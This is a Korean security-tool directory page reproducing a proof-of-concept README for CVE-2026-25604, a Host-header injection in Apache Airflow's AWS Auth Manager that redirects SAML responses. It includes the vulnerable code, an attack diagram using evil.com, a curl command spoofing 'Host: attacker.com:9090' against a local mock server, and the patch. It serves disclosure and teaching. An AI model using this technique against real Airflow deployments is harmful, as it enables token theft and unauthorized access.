Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/john-jung/cve-2026-25604-poc
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud SecurityLearning & Education
GitHubjohn-jung/cve-2026-25604-poc

CVE-2026-25604-PoC

CVE-2026-25604 시연용 PoC

저장소 보기
54개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-25604 PoC

Apache Airflow의 AWS Auth Manager에서 호스트 헤더 인젝션으로 인한 SAML 인증 우회

공격자는 SAML 로그인 흐름에 악의적인 Host 헤더를 주입하여 Assertion Consumer Service (ACS) URL이 공격자가 제어하는 서버를 가리키도록 할 수 있습니다. 이를 통해 공격자는 유효한 SAML 응답을 캡처하고 이를 재전송하여 피해자 Airflow 인스턴스에 무단 액세스를 얻거나, 액세스 제어가 다른 여러 Airflow 인스턴스 간에 토큰을 재사용할 수 있습니다.

영향을 받는 버전

패키지영향 받는 버전수정된 버전
apache-airflow-providers-amazon8.0.0 – 9.21.x9.22.0

공식 설명

CVE-2026-25604: AWS Auth Manager의 출처 검증 오류 (CWE-346)

AWS Auth Manager에서 SAML 인증의 출처가 클라이언트가 제공한 대로 사용되었으며 실제 인스턴스 URL과 확인되지 않았습니다. 이로 인해 다른 인스턴스의 SAML 응답을 재사용하여 잠재적으로 다른 액세스 제어가 적용된 다른 인스턴스에 액세스할 수 있었습니다.

— NVD

참고 자료

출처링크
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-25604
수정 PRhttps://github.com/apache/airflow/pull/61368
수정 커밋

취약점 요약

Apache Airflow의 AWS Auth Manager는 AWS IAM Identity Center를 통한 SAML 2.0 인증을 사용합니다. SAML 인증 요청을 구성할 때 _prepare_flask_request() 메서드는 수신 HTTP 요청의 Host 헤더를 직접 읽어 ACS 콜백 URL을 생성합니다:

root@kitploit:~
# aws_auth_manager.py의 취약한 코드
def _prepare_flask_request(req):
    host = req.headers.get("Host", req.host)  # <-- 공격자 통제 가능
    
    if ":" in host:
        hostname, port = host.rsplit(":", 1)
    else:
        hostname = host
        port = "443" if req.scheme == "https" else "80"
    
    return {
        "http_host": hostname,    # ACS URL 구성에 사용됨
        "server_port": port,
        ...
    }

결과 http_host 및 server_port는 SAML AssertionConsumerService URL을 구성하는 데 사용됩니다. IdP(Identity Provider)가 이 URL을 신뢰하기 때문에 인증된 사용자(서명된 SAML 응답 포함)를 Host 헤더가 가리키는 곳으로 리디렉션합니다.

공격 흐름

root@kitploit:~
┌──────────┐         ┌──────────────┐         ┌─────────────┐
│ Attacker │         │ Victim       │         │ AWS IAM     │
│          │         │ Airflow      │         │ Identity    │
│          │         │ Instance     │         │ Center      │
└────┬─────┘         └──────┬───────┘         └──────┬──────┘
     │                      │                        │
     │ 1. GET /login        │                        │
     │ Host: evil.com:8080  │                        │
     │─────────────────────>│                        │
     │                      │                        │
     │                      │ 2. SAML AuthnRequest   │
     │                      │    ACS URL =           │
     │                      │    evil.com:8080/       │
     │                      │    login_callback       │
     │                      │───────────────────────>│
     │                      │                        │
     │                      │ 3. User authenticates  │
     │                      │    at IdP login page   │
     │                      │                        │
     │ 4. IdP redirects     │                        │
     │    SAMLResponse to   │<───────────────────────│
     │    evil.com:8080     │                        │
     │<─────────────────────│                        │
     │                      │                        │
     │ 5. Attacker captures │                        │
     │    valid SAMLResponse│                        │
     │                      │                        │
     │ 6. Replay to victim  │                        │
     │    POST /login_callback                       │
     │    with captured     │                        │
     │    SAMLResponse      │                        │
     │─────────────────────>│                        │
     │                      │                        │
     │ 7. Authenticated!    │                        │
     │<─────────────────────│                        │
     └──────────────────────┴────────────────────────┘

두 가지 악용 시나리오

시나리오 A — 피싱을 통한 토큰 탈취: 공격자는 합법적인 사용자에게 조작된 로그인 링크(리버스 프록시를 통해 위조된 Host 헤더 포함)를 보냅니다. 사용자가 IAM Identity Center로 인증하면 SAML 응답이 공격자의 서버로 리디렉션됩니다. 공격자는 이를 실제 Airflow 인스턴스에 재전송합니다.

시나리오 B — 교차 인스턴스 토큰 재사용: 다중 테넌트 또는 다중 인스턴스 Airflow 환경에서 인스턴스 A의 유효한 SAML 응답을 인스턴스 B에 재전송할 수 있습니다. 출처가 실제 인스턴스 URL과 확인되지 않기 때문에 인스턴스 B의 다른 액세스 제어가 우회됩니다.

저장소 구조

root@kitploit:~
CVE-2026-25604-PoC/
├── README.md           # 이 파일
└── mock_airflow.py     # 취약한 모의 Airflow 서버

전제 조건

  • Python 3.8+
  • SAML 2.0 애플리케이션이 구성된 AWS IAM Identity Center (이전 AWS SSO)
  • IAM Identity Center SAML 메타데이터 URL에 도달할 수 있는 EC2 인스턴스 또는 로컬 환경

종속성

root@kitploit:~
pip install flask python3-saml

재현 단계

1. AWS IAM Identity Center 구성

Airflow AWS Auth Manager 문서에 따라 AWS IAM Identity Center에서 SAML 2.0 애플리케이션을 설정합니다:

  • 애플리케이션 ACS URL: http://<airflow-host>:<port>/login_callback
  • 애플리케이션 SAML 대상: aws-auth-manager-saml-client
  • Identity Center 콘솔에서 SAML 메타데이터 URL을 복사합니다.

2. 취약한 모의 Airflow 서버 시작

root@kitploit:~
python mock_airflow.py <SAML_METADATA_URL> [PORT]

예:

root@kitploit:~
python mock_airflow.py https://portal.sso.us-east-1.amazonaws.com/saml/metadata/XXXX 8080

3. 위조된 Host 헤더로 로그인 요청 전송

별도의 터미널에서 조작된 Host 헤더로 SAML 로그인을 시작합니다:

root@kitploit:~
curl -v -H "Host: attacker.com:9090" http://127.0.0.1:8080/login

4. 리디렉션 확인

서버는 AWS IAM Identity Center 로그인 페이지로 302 리디렉션으로 응답합니다. SAML AuthnRequest를 검사하면 AssertionConsumerService URL이 합법적인 서버 대신 attacker.com:9090/login_callback을 가리키는 것을 확인할 수 있습니다.

5. 예상 출력

모의 Airflow 서버 콘솔에서:

root@kitploit:~
[LOGIN] Host header: attacker.com:9090
[DEBUG] http_host=attacker.com, server_port=9090

SAML AuthnRequest는 이제 IdP가 인증된 SAML 응답을 attacker.com:9090으로 전달하도록 지시하여, 공격자에게 재전송할 유효한 토큰을 제공합니다.

취약한 코드

airflow/providers/amazon/aws/auth_manager/aws_auth_manager.py — _prepare_flask_request() 메서드:

root@kitploit:~
host = request.headers.get("Host", request.host)

이 줄은 클라이언트가 제공한 Host 헤더를 신뢰하며, 구성된 Airflow 기본 URL(AIRFLOW__API__BASE_URL)과 검증하지 않습니다.

패치

수정(PR #61368, 2026년 2월 3일 병합)은 요청에서 파생된 호스트 값을 Airflow 구성 값으로 대체합니다:

root@kitploit:~
- host = request.headers.get("Host", request.host)
+ host = conf.get("api", "base_url")

이렇게 하면 클라이언트가 보내는 Host 헤더와 관계없이 ACS URL이 항상 관리자가 구성한 실제 인스턴스 URL과 일치하게 됩니다.

영향

  • 기밀성: 공격자는 Airflow에 인증된 액세스를 얻으며, 여기에는 민감한 DAG 구성, 자격 증명이 포함된 연결, 데이터 파이프라인 메타데이터가 포함될 수 있습니다.
  • 무결성: 권한 없는 사용자가 DAG를 트리거, 수정 또는 삭제하여 중요 데이터 워크플로를 방해할 수 있습니다.
  • 교차 인스턴스 권한 상승: 다중 테넌트 환경에서 SAML 토큰을 다른 RBAC 구성이 있는 인스턴스 간에 재사용할 수 있습니다.

크레딧

  • 발견자: 정성욱 (Sungwuk Jung)
  • 수정자: Vincent Beck (@vincbeck), Apache Airflow Security Team

면책 조항

이 개념 증명은 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 책임감 있게 사용하고 귀하가 소유하거나 명시적 테스트 권한이 있는 시스템에 대해서만 사용하십시오.

도구 다운로드
1a86aec